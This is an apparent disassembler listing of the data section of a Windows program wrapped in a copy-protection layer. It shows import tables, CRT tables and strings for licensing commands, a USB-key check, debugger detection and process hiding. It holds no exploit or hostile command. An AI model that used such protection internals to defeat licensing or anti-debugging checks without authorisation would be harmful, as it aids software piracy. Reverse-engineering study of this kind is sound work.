dword_4ED0AC	dd 77E77CC4h		; DATA XREF: sub_4B67B0+4r
					; sub_4B6C08:loc_4B6CC2r
dword_4ED0B0	dd 77E78B82h		; DATA XREF: .text:004B727Er
dword_4ED0B4	dd 77E793EFh		; DATA XREF: .text:004B724Er
dword_4ED0B8	dd 77E7A837h		; DATA XREF: .text:004B7235r
dword_4ED0BC	dd 77E78EAAh		; DATA XREF: sub_4B72D0+53r
					; sub_4B735F+53r
dword_4ED0C0	dd 77E75D9Eh		; DATA XREF: sub_4B72D0+33r
dword_4ED0C4	dd 77E78A39h		; DATA XREF: sub_4B735F+33r
		dd 77E7F01Ah
dword_4ED0CC	dd 77E7FF65h		; DATA XREF: sub_4B7C87+Cr
dword_4ED0D0	dd 77E61A54h		; DATA XREF: .text:004B7E14r
					; .text:004BA4D7r ...
dword_4ED0D4	dd 77E75090h		; DATA XREF: .text:004BC125r
dword_4ED0D8	dd 77EB3AC1h		; DATA XREF: .text:004BC0B0r
					; .text:004BC0D1r
dword_4ED0DC	dd 77EB9953h		; DATA XREF: .text:004BB5DCr
dword_4ED0E0	dd 77E97F16h		; DATA XREF: .text:004B9F66r
					; .text:004BB20Ar ...
		dd 77EB3A07h
dword_4ED0E8	dd 77E77963h		; DATA XREF: sub_4B3AA2+24r
					; sub_4B6C08+87r ...
dword_4ED0EC	dd 77EB3709h		; DATA XREF: .text:004B9B6Dr
dword_4ED0F0	dd 77E6E154h		; DATA XREF: .text:004B9B5Er
					; .text:004BB985r ...
dword_4ED0F4	dd 77E61B8Ah		; DATA XREF: .text:004B9A76r
dword_4ED0F8	dd 77E7C9DBh		; DATA XREF: .text:004B9A68r
dword_4ED0FC	dd 77E616E6h		; DATA XREF: .text:004B99B3r
dword_4ED100	dd 77E74D76h		; DATA XREF: .text:004B8D5Dr
dword_4ED104	dd 77E79CE3h		; DATA XREF: .text:004B8D45r
dword_4ED108	dd 77E79C90h		; DATA XREF: .text:loc_4B8D0Dr
					; _doexit_0+10r
dword_4ED10C	dd 77E77797h		; DATA XREF: .text:004B8CF1r
dword_4ED110	dd 77E7C4B7h		; DATA XREF: .text:004BC53Cr
					; .text:loc_4BC5A0r ...
dword_4ED114	dd 77E61A90h		; DATA XREF: .text:004BD96Er
					; .text:004BDE9Cr ...
dword_4ED118	dd 77E75CB5h		; DATA XREF: sub_4BE283+95r
					; _doexit_0+91r ...
dword_4ED11C	dd 77E70F89h		; DATA XREF: .text:004BE49Er
					; _time_0+Dr
dword_4ED120	dd 77E762D0h		; DATA XREF: ___crtCompareStringA_0+5Br
					; ___crtCompareStringA_0+B9r
dword_4ED124	dd 77E73FF9h		; DATA XREF: __commit_0+2Cr
dword_4ED128	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA_0+42r
					; ___crtLCMapStringA_0+14Dr ...
dword_4ED12C	dd 77E77405h		; DATA XREF: ___crtLCMapStringA_0+5Er
					; ___crtLCMapStringA_0+A7r ...
dword_4ED130	dd 77E7FF2Eh		; DATA XREF: __free_osfhnd_0:loc_4CE2DBr
dword_4ED134	dd 77E6C703h		; DATA XREF: _getSystemCP_0+1Ar
dword_4ED138	dd 77E7A13Fh		; DATA XREF: _getSystemCP_0+2Fr
dword_4ED13C	dd 77E7849Fh		; DATA XREF: __setmbcp_0+48r
					; _setSBUpLow_0+14r ...
dword_4ED140	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA_0+3Er
					; ___crtCompareStringA_0+261r
dword_4ED144	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA_0+3Fr
					; ___crtGetStringTypeA_0+12Dr ...
dword_4ED148	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA_0+59r
					; ___crtGetStringTypeA_0+8Dr ...
dword_4ED14C	dd 77E77CCEh		; DATA XREF: ___crtGetStringTypeA_0+C5r
					; ___crtGetStringTypeA_0+11Br ...
dword_4ED150	dd 77E78C81h		; DATA XREF: __lseek_0+4Fr
dword_4ED154	dd 77F5722Fh		; DATA XREF: ___sbh_alloc_new_region_0+28r
					; sub_4CEEC3+110r ...
dword_4ED158	dd 77E79D8Ch		; DATA XREF: __NMSG_WRITE_0+14Ar
					; __write_0+D8r ...
dword_4ED15C	dd 77E79E34h		; DATA XREF: sub_4CC125+240r
					; sub_4CCBF9+120r ...
dword_4ED160	dd 77E7C726h		; DATA XREF: sub_4CBEC9+11r
dword_4ED164	dd 77E76E0Bh		; DATA XREF: sub_4CBEC9+50r
dword_4ED168	dd 77E78406h		; DATA XREF: __ioinit_0+FFr
					; __ioinit_0+166r
dword_4ED16C	dd 77E79C3Dh		; DATA XREF: __ioinit_0+158r
					; __NMSG_WRITE_0+143r
dword_4ED170	dd 77E7C931h		; DATA XREF: __ioinit_0+19Dr
dword_4ED174	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA_0+9r
dword_4ED178	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA_0:loc_4CBAA6r
					; ___crtGetEnvironmentStringsA_0+E1r
dword_4ED17C	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA_0+CEr
dword_4ED180	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA_0+11Fr
dword_4ED184	dd 77EB9A84h		; DATA XREF: __XcptFilter_0+138r
dword_4ED188	dd 77F51597h		; DATA XREF: sub_4CA2FB+60r
					; sub_4CC125+2C5r ...
dword_4ED18C	dd 77F516F8h		; DATA XREF: sub_4CA24A+74r
					; sub_4CA3A2+6Cr ...
dword_4ED190	dd 77E7C486h		; DATA XREF: start+26r
dword_4ED194	dd 77E61608h		; DATA XREF: _time_0+17r
dword_4ED198	dd 77E76E3Dh		; DATA XREF: _time_0+6Cr __tzset_0+38r
dword_4ED19C	dd 77F6183Eh		; DATA XREF: sub_4CF210r
dword_4ED1A0	dd 77E616B4h		; DATA XREF: _doexit_0+17r
dword_4ED1A4	dd 77E61BE6h		; DATA XREF: sub_4B3AA2+43r
					; sub_4B3AA2+4Dr ...
dword_4ED1A8	dd 77F7E21Fh		; DATA XREF: sub_4B370A+10r
					; sub_4B37DC+10r ...
dword_4ED1AC	dd 77F7E300h		; DATA XREF: sub_4B370A+C6r
					; sub_4B37DC+E8r ...
dword_4ED1B0	dd 77E7C657h		; DATA XREF: sub_4B36BD+25r
					; .text:004B5B92r ...
dword_4ED1B4	dd 77E79908h		; DATA XREF: sub_4B3329+4Dr
					; .text:004B9C53r
dword_4ED1B8	dd 77E80656h		; DATA XREF: sub_4B3329+53r
					; .text:004B56E6r ...
dword_4ED1BC	dd 77E79FC8h		; DATA XREF: sub_4B3329+A0r
					; sub_4B3329+130r ...
dword_4ED1C0	dd 77E6BE92h		; DATA XREF: sub_4B3329+14Fr
dword_4ED1C4	dd 77E7A099h		; DATA XREF: sub_4B3329+21Er
					; sub_4B3329+2BAr ...
dword_4ED1C8	dd 77E98BD8h		; DATA XREF: .text:004B9B80r
					; sub_4BDF17+3Cr
dword_4ED1CC	dd 77E6C10Bh		; DATA XREF: sub_4B3329+2D9r
		dd 0
dword_4ED1D4	dd 77D47E92h		; DATA XREF: sub_4BE07A+40r
dword_4ED1D8	dd 77D47EC7h		; DATA XREF: sub_4BE034+38r
dword_4ED1DC	dd 77D5DC39h		; DATA XREF: .text:004B7CD6r
					; sub_4B82D2+22r
dword_4ED1E0	dd 77D5D390h		; DATA XREF: .text:004B7CEDr
					; .text:004B7D41r
dword_4ED1E4	dd 77D5C347h		; DATA XREF: .text:004B7CFCr
dword_4ED1E8	dd 77D44200h		; DATA XREF: sub_4B78A3+390r
dword_4ED1EC	dd 77D458EEh		; DATA XREF: sub_4B6F14+78r
dword_4ED1F0	dd 77D458FDh		; DATA XREF: sub_4B6F14+130r
dword_4ED1F4	dd 77D444FFh		; DATA XREF: sub_4B6F14+1F5r
dword_4ED1F8	dd 77D4932Ch		; DATA XREF: sub_4B6C08+1C6r
					; sub_4B6F14+1C0r
dword_4ED1FC	dd 77D477C0h		; DATA XREF: sub_4B6C08+1D0r
					; sub_4B6C08+1E9r ...
dword_4ED200	dd 77D444F0h		; DATA XREF: sub_4B6C08+2CAr
					; sub_4B7150+69r ...
dword_4ED204	dd 77D5BB6Ch		; DATA XREF: sub_4B60E5+27r
					; sub_4B60E5+41r
dword_4ED208	dd 77D48AA8h		; DATA XREF: sub_4B60E5+3Ar
dword_4ED20C	dd 77D5FA3Eh		; DATA XREF: sub_4B6060+44r
dword_4ED210	dd 77D47D27h		; DATA XREF: sub_4B6060+6Er
					; sub_4B6C08+29Er
dword_4ED214	dd 77D47CB6h		; DATA XREF: sub_4B6060+78r
					; sub_4B6C08+2AAr ...
dword_4ED218	dd 77D47250h		; DATA XREF: .text:004B56A9r
dword_4ED21C	dd 77D4718Ch		; DATA XREF: .text:004B56BBr
dword_4ED220	dd 77D4BDCAh		; DATA XREF: .text:004B5830r
dword_4ED224	dd 77D6E7A8h		; DATA XREF: .text:004B5AAFr
					; sub_4B78A3+5Cr ...
dword_4ED228	dd 77D49A11h		; DATA XREF: sub_4B45FB+1F6r
					; sub_4B45FB+2A5r ...
dword_4ED22C	dd 77D6ADD7h		; DATA XREF: sub_4B45CC+Er
					; .text:004B604Fr ...
dword_4ED230	dd 77D4A712h		; DATA XREF: sub_4B40C4:loc_4B4429r
dword_4ED234	dd 77D70861h		; DATA XREF: sub_4C85D0r
dword_4ED238	dd 77D708BAh		; DATA XREF: sub_4C85CAr
dword_4ED23C	dd 77D46F5Bh		; DATA XREF: sub_4B40C4+48Cr
					; sub_4B6F14+230r ...
dword_4ED240	dd 77D47EE5h		; DATA XREF: sub_4B3F59+54r
					; sub_4B3F59+FEr ...
dword_4ED244	dd 77D4B748h		; DATA XREF: sub_4B3F59+75r
dword_4ED248	dd 77D4AE4Ch		; DATA XREF: sub_4B3F59+B1r
dword_4ED24C	dd 77D4DC11h		; DATA XREF: sub_4B3F59+11Fr
					; sub_4B6C08+17Fr ...
dword_4ED250	dd 77D414D4h		; DATA XREF: sub_4B3F59+15Br
					; sub_4B6C08+28Ar ...
dword_4ED254	dd 77D45CBCh		; DATA XREF: sub_4B3E69+Er
dword_4ED258	dd 77D45E37h		; DATA XREF: sub_4B3E69+85r
					; sub_4B40C4+195r
dword_4ED25C	dd 77D4702Fh		; DATA XREF: sub_4B3E69+D2r
					; sub_4B40C4+2C4r ...
dword_4ED260	dd 77D43DD3h		; DATA XREF: sub_4B3AFF+45r
					; sub_4B7150+A1r ...
dword_4ED264	dd 77D441F2h		; DATA XREF: sub_4B3AFF+4Fr
					; sub_4B7150+ABr ...
dword_4ED268	dd 77D47627h		; DATA XREF: sub_4B3AFF+A4r
dword_4ED26C	dd 77D47668h		; DATA XREF: sub_4B3AFF+14Fr
dword_4ED270	dd 77D704C7h		; DATA XREF: sub_4C85C4r
dword_4ED274	dd 77D44643h		; DATA XREF: sub_4B3AFF+1C3r
dword_4ED278	dd 77D442CFh		; DATA XREF: sub_4B3AFF+24Br
					; sub_4B3AFF+2DFr ...
dword_4ED27C	dd 77D45B19h		; DATA XREF: sub_4B3AA2+37r
					; sub_4B3AFF+B6r ...
dword_4ED280	dd 77D46E60h		; DATA XREF: sub_4B3AFF+37r
					; sub_4B7150+8Br
		align 8
dword_4ED288	dd 0			; DATA XREF: __cinit_0+1Fo
		dd offset sub_4965CE
		dd offset sub_4B3310
		dd offset sub_4B73F0
dword_4ED298	dd 0			; DATA XREF: __cinit_0+1Ao
dword_4ED29C	dd 0			; DATA XREF: __cinit_0+10o
		dd offset ___initstdio_0
		dd offset ___initmbctable_0
dword_4ED2A8	dd 0			; DATA XREF: __cinit_0:loc_4C9213o
dword_4ED2AC	dd 0			; DATA XREF: _doexit_0+65o
		dd offset ___endstdio_0
dword_4ED2B4	dd 0			; DATA XREF: _doexit_0:loc_4C92B7o
dword_4ED2B8	dd 0			; DATA XREF: _doexit_0+76o
dword_4ED2BC	dd 0			; DATA XREF: _doexit_0:loc_4C92C8o
dword_4ED2C0	dd 7			; DATA XREF: sub_490060+Fw
					; sub_490060+29w ...
a1_1_4		db '1.1.4',0            ; DATA XREF: .text:004902D9o
					; sub_49034E+191o
		align 4
dword_4ED2CC	dd 0F7EE0CBAh		; DATA XREF: sub_4965D8+8r
					; sub_4965D8+1Er ...
dword_4ED2D0	dd 0E607FAD2h		; DATA XREF: sub_4965D8+Er
					; sub_4965D8+24r ...
dword_4ED2D4	dd 622D2A9Dh		; DATA XREF: sub_4965D8+3Br
					; sub_4965D8+2CCr ...
dword_4ED2D8	dd 0C2336CAh		; DATA XREF: sub_4965D8+52r
					; sub_4965D8+2FAr ...
dword_4ED2DC	dd 5F8F530Fh		; DATA XREF: sub_4965D8+68r
					; sub_4965D8+310r ...
dword_4ED2E0	dd 0DC50BDD8h		; DATA XREF: sub_4965D8+7Fr
					; sub_4965D8+327r ...
dword_4ED2E4	dd 51E30F83h		; DATA XREF: sub_4965D8+96r
					; sub_4965D8+33Er ...
dword_4ED2E8	dd 2123F0C8h		; DATA XREF: sub_4965D8+ACr
					; sub_4965D8+354r ...
dword_4ED2EC	dd 5D2C389Dh		; DATA XREF: sub_4965D8+C3r
					; sub_4965D8+36Br ...
dword_4ED2F0	dd 335385D1h		; DATA XREF: sub_4965D8+DAr
					; sub_4965D8+382r ...
dword_4ED2F4	dd 1497F840h		; DATA XREF: sub_4965D8+F0r
					; sub_4965D8+398r ...
dword_4ED2F8	dd 0BA0CC46Fh		; DATA XREF: sub_4965D8+107r
					; sub_4965D8+3AFr ...
dword_4ED2FC	dd 44EC619h		; DATA XREF: sub_4965D8+11Er
					; sub_4965D8+3C6r ...
dword_4ED300	dd 66007212h		; DATA XREF: sub_4965D8+134r
					; sub_4965D8+3DCr ...
dword_4ED304	dd 8317F29Ah		; DATA XREF: sub_4965D8+14Br
					; sub_4965D8+3F3r ...
dword_4ED308	dd 4D7A4B25h		; DATA XREF: sub_4965D8+162r
					; sub_4965D8+40Ar ...
dword_4ED30C	dd 0C55F0255h		; DATA XREF: sub_4965D8+178r
					; sub_4965D8+420r ...
dword_4ED310	dd 6F82BEAFh		; DATA XREF: sub_4965D8+18Fr
					; sub_4965D8+437r ...
dword_4ED314	dd 1935EA6Eh		; DATA XREF: sub_4965D8+1A6r
					; sub_4965D8+44Er ...
dword_4ED318	dd 9E0267A3h		; DATA XREF: sub_4965D8+1BCr
					; sub_4965D8+464r ...
dword_4ED31C	dd 0FE7C0E83h		; DATA XREF: sub_4965D8+1D3r
					; sub_4965D8+47Br ...
dword_4ED320	dd 0E08981C3h		; DATA XREF: sub_4965D8+1EAr
					; sub_4965D8+492r ...
dword_4ED324	dd 9462B971h		; DATA XREF: sub_4965D8+200r
					; sub_4965D8+4A8r ...
dword_4ED328	dd 373076C4h		; DATA XREF: sub_4965D8+217r
					; sub_4965D8+4BFr ...
dword_4ED32C	dd 0A1097BF5h		; DATA XREF: sub_4965D8+22Er
					; sub_4965D8+4D6r ...
dword_4ED330	dd 6DED6A27h		; DATA XREF: sub_4965D8+244r
					; sub_4965D8+4ECr ...
dword_4ED334	dd 4602C213h		; DATA XREF: sub_4965D8+25Br
					; sub_4965D8+503r ...
dword_4ED338	dd 705C6118h		; DATA XREF: sub_4965D8+272r
					; sub_4965D8+51Ar ...
dword_4ED33C	dd 4D21B8F3h		; DATA XREF: sub_4965D8+288r
					; sub_4965D8+530r ...
dword_4ED340	dd 74EC9266h		; DATA XREF: sub_4965D8+29Fr
					; sub_4965D8+547r ...
aSystem_0	db 'System',0           ; DATA XREF: sub_4B3E69+9Co
					; sub_4B40C4:loc_4B4314o
		align 4
; wchar_t aSystem
aSystem:				; DATA XREF: sub_4B3E69+4Fo
					; sub_4B40C4:loc_4B41E5o
		unicode	0, <System>,0
		align 4
aDdeProcessing	db 'DDE Processing',0   ; DATA XREF: sub_4B3F59+14Do
		align 4
aSwpdde_0	db 'SwPDDE',0           ; DATA XREF: sub_4B3F59:loc_4B401Bo
		align 4
off_4ED374	dd offset dword_440044	; DATA XREF: sub_4B3F59+A3o
aEProcessing:
		unicode	0, <E Processing>,0
		align 4
aSwpdde:				; DATA XREF: sub_4B3F59+18o
		unicode	0, <SwPDDE>,0
		align 4
dword_4ED3A4	dd 3Ch			; DATA XREF: sub_4B45FB+25Er
					; WinMain(x,x,x,x)+A5w	...
dword_4ED3A8	dd 0CAFF41B7h		; DATA XREF: sub_497D6E+70r
					; sub_49B14F+75r ...
dword_4ED3AC	dd 0C7E94FBEh		; DATA XREF: sub_497D6E+76r
					; sub_49B14F+7Br ...
dword_4ED3B0	dd 6FEA19C8h		; DATA XREF: sub_495329+95r
					; sub_497F97+94r ...
dword_4ED3B4	dd 0FDB8715Ch		; DATA XREF: sub_495329+9Br
					; sub_497F97+9Ar ...
dword_4ED3B8	dd 5AE0C9E3h		; DATA XREF: sub_4955CD+8Er
					; sub_495835+B3r ...
dword_4ED3BC	dd 8B361993h		; DATA XREF: sub_4955CD+94r
					; sub_495835+B9r ...
dword_4ED3C0	dd 0D54319F3h		; DATA XREF: sub_496381+171r
					; sub_497E12+157r ...
dword_4ED3C4	dd 0C73CAEF0h		; DATA XREF: sub_4953F2+97r
					; sub_495743+BEr ...
dword_4ED3C8	dd 0CBD5A1BCh		; DATA XREF: sub_4953F2+9Dr
					; sub_495743+C4r ...
dword_4ED3CC	dd 0CCC1AD82h		; DATA XREF: sub_498DD8+ACr
					; sub_49B5EE+7Cr ...
dword_4ED3D0	dd 2968373Ah		; DATA XREF: sub_496126+77r
					; sub_498DD8+B2r ...
dword_4ED3D4	dd 0C32D5ED8h		; DATA XREF: sub_49591C+78r
					; sub_495DD2+14Er ...
dword_4ED3D8	dd 33BBD77Ah		; DATA XREF: sub_49591C+7Er
					; sub_495DD2+154r ...
dword_4ED3DC	dd 6F6991EAh		; DATA XREF: sub_4959C8+77r
					; sub_497C2D+71r ...
dword_4ED3E0	dd 51068F84h		; DATA XREF: sub_495547+52r
					; sub_4959C8+7Dr ...
dword_4ED3E4	dd 0F41B764h		; DATA XREF: sub_495547+58r
					; sub_499022+B9r ...
dword_4ED3E8	dd 0CBDF3817h		; DATA XREF: sub_495F54+A5r
					; sub_49805F+4Er ...
dword_4ED3EC	dd 473A5B30h		; DATA XREF: sub_495A73+A2r
					; sub_495F54+ABr ...
dword_4ED3F0	dd 904E0791h		; DATA XREF: sub_4951DA+61r
					; sub_495A73+A8r ...
dword_4ED3F4	dd 0F066217Fh		; DATA XREF: sub_4951DA+67r
					; sub_495BCB+14Er ...
dword_4ED3F8	dd 2968373Ah		; DATA XREF: sub_495BCB+154r
					; sub_49602D+CBr ...
dword_4ED3FC	dd 0FF27961Bh		; DATA XREF: sub_497CCC+74r
					; sub_49818A+7Cr ...
dword_4ED400	dd 621853BCh		; DATA XREF: sub_49526F+86r
					; sub_4954BD+56r ...
dword_4ED404	dd 621853BCh		; DATA XREF: sub_49526F+8Cr
					; sub_4954BD+5Cr ...
dword_4ED408	dd 0BB28A579h		; DATA XREF: sub_49568F+80r
					; sub_495B49+54r ...
dword_4ED40C	dd 5B71BA4Dh		; DATA XREF: sub_49568F+86r
					; sub_4961D1+A5r ...
dword_4ED410	dd 0			; DATA XREF: sub_4961D1+ABr
					; sub_49961E+AFr ...
dword_4ED414	dd 0B7A31609h		; DATA XREF: sub_498423+B3r
					; sub_49850A+8Ar ...
dword_4ED418	dd 0FE009A34h		; DATA XREF: sub_498423+B9r
					; sub_49850A+90r ...
dword_4ED41C	dd 57732361h		; DATA XREF: sub_49512C+7Ar
					; sub_4980E0+76r ...
dword_4ED420	dd 2A63BFE8h		; DATA XREF: sub_49512C+80r
					; sub_4980E0+7Cr ...
dword_4ED424	dd 0CE1854Ch		; DATA XREF: .text:004B9126r
					; .text:004B9300r ...
dword_4ED428	dd 7D2FDA42h		; DATA XREF: .text:004B9132r
					; .text:004B96A3r ...
dword_4ED42C	dd 0C1052568h		; DATA XREF: .text:004BAA7Br
dword_4ED430	dd 635471A6h		; DATA XREF: .text:004BAAABr
		dd 1395EE46h, 0E0298DFCh, 7E8FE86Ah, 0
off_4ED444	dd offset aGeneralExtract ; DATA XREF: sub_4B45B1+8r
					; "General extraction error"
		dd offset aCannotLocatePr ; "Cannot locate protected program data"
		dd offset aCannotAllocate ; "Cannot allocate memory for	DLL"
		dd offset aCannotFindImpo ; "Cannot find import; DLL may be missing,"...
		dd offset aCannotSetAlloc ; "Cannot set	allocations"
		dd offset aDllInitializat ; "DLL initialization	failed"
		dd offset aFailedToExec_1 ; "Failed to execute target process"
		dd offset aRelocationsErr ; "Relocations error"
		dd offset aFailedCrcCheck ; "Failed CRC	check"
		dd offset aRequiredUsbKey ; "Required USB Key not found"
aRequiredUsbKey	db 'Required USB Key not found',0 ; DATA XREF: .data:004ED468o
		align 4
aFailedCrcCheck	db 'Failed CRC check',0 ; DATA XREF: .data:004ED464o
		align 4
aRelocationsErr	db 'Relocations error',0 ; DATA XREF: .data:004ED460o
		align 10h
aFailedToExec_1	db 'Failed to execute target process',0 ; DATA XREF: .data:004ED45Co
		align 4
aDllInitializat	db 'DLL initialization failed',0 ; DATA XREF: .data:004ED458o
		align 10h
aCannotSetAlloc	db 'Cannot set allocations',0 ; DATA XREF: .data:004ED454o
		align 4
aCannotFindImpo	db 'Cannot find import; DLL may be missing, corrupt, or wrong version'
					; DATA XREF: .data:004ED450o
		db 0
		align 4
aCannotAllocate	db 'Cannot allocate memory for DLL',0 ; DATA XREF: .data:004ED44Co
		align 4
aCannotLocatePr	db 'Cannot locate protected program data',0 ; DATA XREF: .data:004ED448o
		align 4
aGeneralExtract	db 'General extraction error',0 ; DATA XREF: .data:off_4ED444o
		align 10h
aInsufficientMe	db 'Insufficient memory!',0 ; DATA XREF: sub_4B45CC+7o
		align 4
aSetfunctionadd	db 'SetFunctionAddresses',0 ; DATA XREF: sub_4B45FB:loc_4B4718o
		align 10h
; char aP[]
aP:					; DATA XREF: sub_4B45FB+92o
		unicode	0, <p>,0
; char aS_8[]
aS_8		db 's',0                ; DATA XREF: sub_4B45FB+76o
		align 4
aPdata000	db 'PDATA000',0         ; DATA XREF: sub_4B48AD+96o
		align 4
aArmsplashoff	db 'ARMSPLASHOFF',0     ; DATA XREF: sub_4B4965+13Ao
		align 4
; char aFileSFunctionS[]
aFileSFunctionS	db 'File "%s", function "%s"',0 ; DATA XREF: sub_4B5417+150o
		align 10h
; char aFileSOrdinalD[]
aFileSOrdinalD	db 'File "%s", ordinal %d',0 ; DATA XREF: sub_4B5417+100o
		align 4
; char aFileSErrorD[]
aFileSErrorD	db 'File "%s", error %d',0 ; DATA XREF: sub_4B5417+83o
aErrorCodeD	db '(Error code %d)',0  ; DATA XREF: .text:004B5D6Co
; char aXDaf[]
aXDaf		db '%X:DAF',0           ; DATA XREF: .text:004B5D16o
					; sub_4B5E8E+47o
		align 4
aIsdebuggerpres	db 'IsDebuggerPresent',0 ; DATA XREF: .text:004B5B4Fo
					; sub_4B5E8E+21o
		align 4
aKernel32_0	db 'Kernel32',0         ; DATA XREF: .text:004B5B35o
					; sub_4B5E8E+Do ...
		align 4
aLocationXebErr	db '(Location XEB, error code %d)',0 ; DATA XREF: .text:004B5A8Ao
		align 4
a_padD		db '_PAD%d',0           ; DATA XREF: .text:004B5963o
		align 4
a_pad64		db '_PAD64',0           ; DATA XREF: .text:004B5908o
		align 4
aMainclass	db 'MainClass',0        ; DATA XREF: .text:004B582Bo
		align 10h
; char a08x[]
a08x		db '%08X',0             ; DATA XREF: .text:004B57E9o
					; sub_4B6C08+2D6o
		align 4
aRn08x		db 'RN%08X',0           ; DATA XREF: .text:004B575Do
		align 10h
aXDa08x		db '%X::DA%08X',0       ; DATA XREF: .text:004B56EDo
					; .text:004B5AEFo ...
		align 4
aRegisterserv_0	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4B5E35+1Co
		align 4
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_4B5E35+Co
		align 4
; char asc_4ED704[]
asc_4ED704:				; DATA XREF: .text:004B6016o
					; WinMain(x,x,x,x)+35Do
		dw 0Ah
		unicode	0, <>,0
aInitializedlla	db 'INITIALIZEDLLADDR',0 ; DATA XREF: .text:004B5F67o
		align 4
off_4ED71C	dd offset off_4ED728	; DATA XREF: sub_4B6138+105r
					; sub_4B6138+11Ar
		dd offset dword_4ED724
dword_4ED724	dd 20h			; DATA XREF: .data:004ED720o
off_4ED728	dd offset byte_53004D	; DATA XREF: .data:off_4ED71Co
		dd offset dword_530020
aAnsSerif:
		unicode	0, <ans	Serif>,0
aLoading___	db 'Loading...',0       ; DATA XREF: sub_4B60E5+6o
		align 10h
; char aArmdebug[]
aArmdebug	db 'ARMDEBUG=',0        ; DATA XREF: WinMain(x,x,x,x)+2FCo
		align 4
aQuietexit	db 'QUIETEXIT',0        ; DATA XREF: WinMain(x,x,x,x):loc_4B6659o
		align 4
aHwchangelog	db 'HWCHANGELOG',0      ; DATA XREF: WinMain(x,x,x,x):loc_4B6638o
aShownetusers	db 'SHOWNETUSERS',0     ; DATA XREF: WinMain(x,x,x,x):loc_4B6617o
		align 4
aQuietunregiste	db 'QUIETUNREGISTER',0  ; DATA XREF: WinMain(x,x,x,x):loc_4B65F3o
aUnregister	db 'UNREGISTER',0       ; DATA XREF: WinMain(x,x,x,x):loc_4B65CFo
		align 10h
aInfo		db 'INFO',0             ; DATA XREF: WinMain(x,x,x,x):loc_4B65ABo
		align 4
aFixclock	db 'FIXCLOCK',0         ; DATA XREF: WinMain(x,x,x,x):loc_4B6587o
		align 4
aTransfer	db 'TRANSFER',0         ; DATA XREF: WinMain(x,x,x,x):loc_4B6563o
		align 10h
aQuietregister	db 'QUIETREGISTER',0    ; DATA XREF: WinMain(x,x,x,x):loc_4B652Eo
		align 10h
aRegister	db 'REGISTER',0         ; DATA XREF: WinMain(x,x,x,x):loc_4B64F9o
		align 4
aDown		db 'DOWN',0             ; DATA XREF: WinMain(x,x,x,x):loc_4B6468o
		align 4
asc_4ED7E4:				; DATA XREF: WinMain(x,x,x,x)+C4o
		unicode	0, <X>,0
; char aServer[]
aServer		db 'SERVER',0           ; DATA XREF: WinMain(x,x,x,x)+85o
		align 10h
aDisplay_0	db 'DISPLAY',0          ; DATA XREF: sub_4B6828+2E0o
aLoadingwindow	db 'LOADINGWINDOW',0    ; DATA XREF: sub_4B6C08+2F1o
		align 4
aArbaseTestBitm	db 'ArBase Test Bitmap Window',0 ; DATA XREF: sub_4B6C08+13o
		align 4
aArbaseBitmapWi	db 'ArBase Bitmap Window',0 ; DATA XREF: sub_4B6C08+9o
		align 4
dword_4ED83C	dd 1			; DATA XREF: .text:004BB6BEr
					; .text:004BB6C7w
dword_4ED840	dd 3			; DATA XREF: .text:loc_4B979Aw
					; .text:loc_4B97B6r ...
off_4ED844	dd offset sub_4A363D	; DATA XREF: .text:004BB43Er
		dd offset sub_4A373A
		dd offset sub_4A3837
		dd offset sub_4A3934
		dd offset sub_4A3A31
		dd offset sub_4A3B2E
		dd offset sub_4A3C2B
		dd offset sub_4A3D28
		dd offset sub_4A3E25
		dd offset sub_4A3F22
		dd offset sub_4A401F
		dd offset sub_4A411C
		dd offset sub_4A4219
		dd offset sub_4A4316
		dd offset sub_4A4413
		dd offset sub_4A4510
		dd offset sub_4A460D
		dd offset sub_4A470A
		dd offset sub_4A4807
		dd offset sub_4A4904
		dd offset sub_4A4A01
		dd offset sub_4A4AFE
		dd offset sub_4A4BF8
		dd offset sub_4A4CF5
		dd offset sub_4A4DF2
		dd offset sub_4A4EEF
		dd offset sub_4A4FEC
		dd offset sub_4A50E9
		dd offset sub_4A51E6
		dd offset sub_4A52E3
		dd offset sub_4A53E0
		dd offset sub_4A54DD
		dd offset sub_4A55DA
		dd offset sub_4A56D7
		dd offset sub_4A57D4
		dd offset sub_4A58D0
		dd offset sub_4A59CA
		dd offset sub_4A5AC7
		dd offset sub_4A5BC4
		dd offset sub_4A5CC1
		dd offset sub_4A5DBE
		dd offset sub_4A5EBB
		dd offset sub_4A5FB8
		dd offset sub_4A60B5
		dd offset sub_4A61B2
		dd offset sub_4A62AF
		dd offset sub_4A63AC
		dd offset sub_4A64A9
		dd offset sub_4A65A6
		dd offset sub_4A66A3
		dd offset sub_4A67A0
		dd offset sub_4A689D
		dd offset sub_4A699A
		dd offset sub_4A6A96
		dd offset sub_4A6B93
		dd offset sub_4A6C8F
		dd offset sub_4A6D8C
		dd offset sub_4A6E89
		dd offset sub_4A6F86
		dd offset sub_4A7083
		dd offset sub_4A7180
		dd offset sub_4A727D
		dd offset sub_4A737A
		dd offset sub_4A7477
		dd offset sub_4A7574
		dd offset sub_4A7671
		dd offset sub_4A776E
		dd offset sub_4A786B
		dd offset sub_4A7968
		dd offset sub_4A7A65
		dd offset sub_4A7B62
		dd offset sub_4A7C5F
		dd offset sub_4A7D5C
		dd offset sub_4A7E58
		dd offset sub_4A7F55
		dd offset sub_4A8052
		dd offset sub_4A814F
		dd offset sub_4A824C
		dd offset sub_4A8349
		dd offset sub_4A8446
		dd offset sub_4A8543
		dd offset sub_4A8640
		dd offset sub_4A873D
		dd offset sub_4A883A
		dd offset sub_4A8937
		dd offset sub_4A8A34
		dd offset sub_4A8B31
		dd offset sub_4A8C2E
		dd offset sub_4A8D2B
		dd offset sub_4A8E28
		dd offset sub_4A8F24
		dd offset sub_4A9021
		dd offset sub_4A911E
		dd offset sub_4A921B
		dd offset sub_4A9318
		dd offset sub_4A9414
		dd offset sub_4A9511
		dd offset sub_4A960B
		dd offset sub_4A9708
		dd offset sub_4A9805
		dd offset sub_4A9902
		dd offset sub_4A99FE
		dd offset sub_4A9AFB
		dd offset sub_4A9BF7
		dd offset sub_4A9CF4
		dd offset sub_4A9DF1
		dd offset sub_4A9EEE
